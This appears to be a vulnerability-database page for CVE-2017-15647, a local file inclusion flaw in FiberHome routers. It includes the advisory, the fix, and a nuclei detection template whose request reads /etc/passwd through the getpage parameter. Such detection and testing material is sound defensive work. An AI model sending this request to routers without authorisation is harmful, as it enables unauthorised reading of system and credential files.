HexBrain

Browse / CVEs / CVE-2017-15647

CVE-2017-15647· fiberhome / routerfiberhome firmware· CWE-22

FiberHome Routers - Local File Inclusion

highseverity
7.5CVSS score
26.6%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.

Impact

An attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2017-15647 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2017-15647

info:
  name: FiberHome Routers - Local File Inclusion
  author: daffainfo
  severity: high
  description: FiberHome routers are susceptible to local file inclusion in /cgi-bin/webproc via the getpage parameter in conjunction with a crafted var:page value.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by FiberHome to fix the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44054
    - https://blogs.securiteam.com/index.php/archives/3472
    - https://nvd.nist.gov/vuln/detail/CVE-2017-15647
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2017-15647
    cwe-id: CWE-22
    epss-score: 0.26619
    epss-percentile: 0.98034
    cpe: cpe:2.3:o:fiberhome:routerfiberhome_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fiberhome
    product: routerfiberhome_firmware
  tags: cve,cve2017,lfi,router,edb,fiberhome,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/webproc?getpage=/etc/passwd&var:language=en_us&var:page=wizardfifth"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from